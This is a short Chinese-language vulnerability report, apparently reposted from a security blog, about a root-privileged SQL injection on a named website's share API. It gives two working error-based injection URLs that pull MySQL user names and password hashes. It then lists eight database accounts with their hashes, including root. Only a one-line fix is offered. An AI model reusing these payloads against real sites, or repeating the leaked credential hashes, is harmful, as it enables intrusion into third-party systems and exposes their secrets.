这是一个伪静态盲注点root权限 可查看所有数据库信息~~
详细说明:
这是一个盲注点root权限 可查看所有数据库信息
获取数据库用户
http://pai.pindao.com/match/api/share/id/630 and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,cast(user as char),0×27,0x7e)) from `mysql`.user limit 4,1),floor(rand(0)*2))x from `mysql`.user group by x)a) and 1=1

获取数据库hash
http://pai.pindao.com/match/api/share/id/630%20and(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0×27,cast(password%20as%20char),0×27,0x7e))%20from%20`mysql`.user%20limit%208,1),floor(rand(0)*2))x%20from%20`mysql`.user%20group%20by%20x)a)%20and%201=1

数据库用户

brandstreet–*CB038597FA9F7096AD75D3A0694BF16B39EC6819
motor–*CB038597FA9F7096AD75D3A0694BF16B39EC6819
phpcms–*AF45A35F63750871569BEC3D5D5032F16D145BF5
pindao–*65FFA4EF12F733E237C4FB9C7F6D489E5C212D96
root–*E131DAA953036ED4D94DD129375AB85BCF20C29D
slave–*E373AB70D471725E36E0CE08DA9EEB7A3B8351E5
dbload–*CB038597FA9F7096AD75D3A0694BF16B39EC6819
pdadmin–*520EC5CD778562CE793F51BBEC55A66794F20078
修复方案:
建立独立用户运行网站 对相关代码进行过滤

 

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1183.html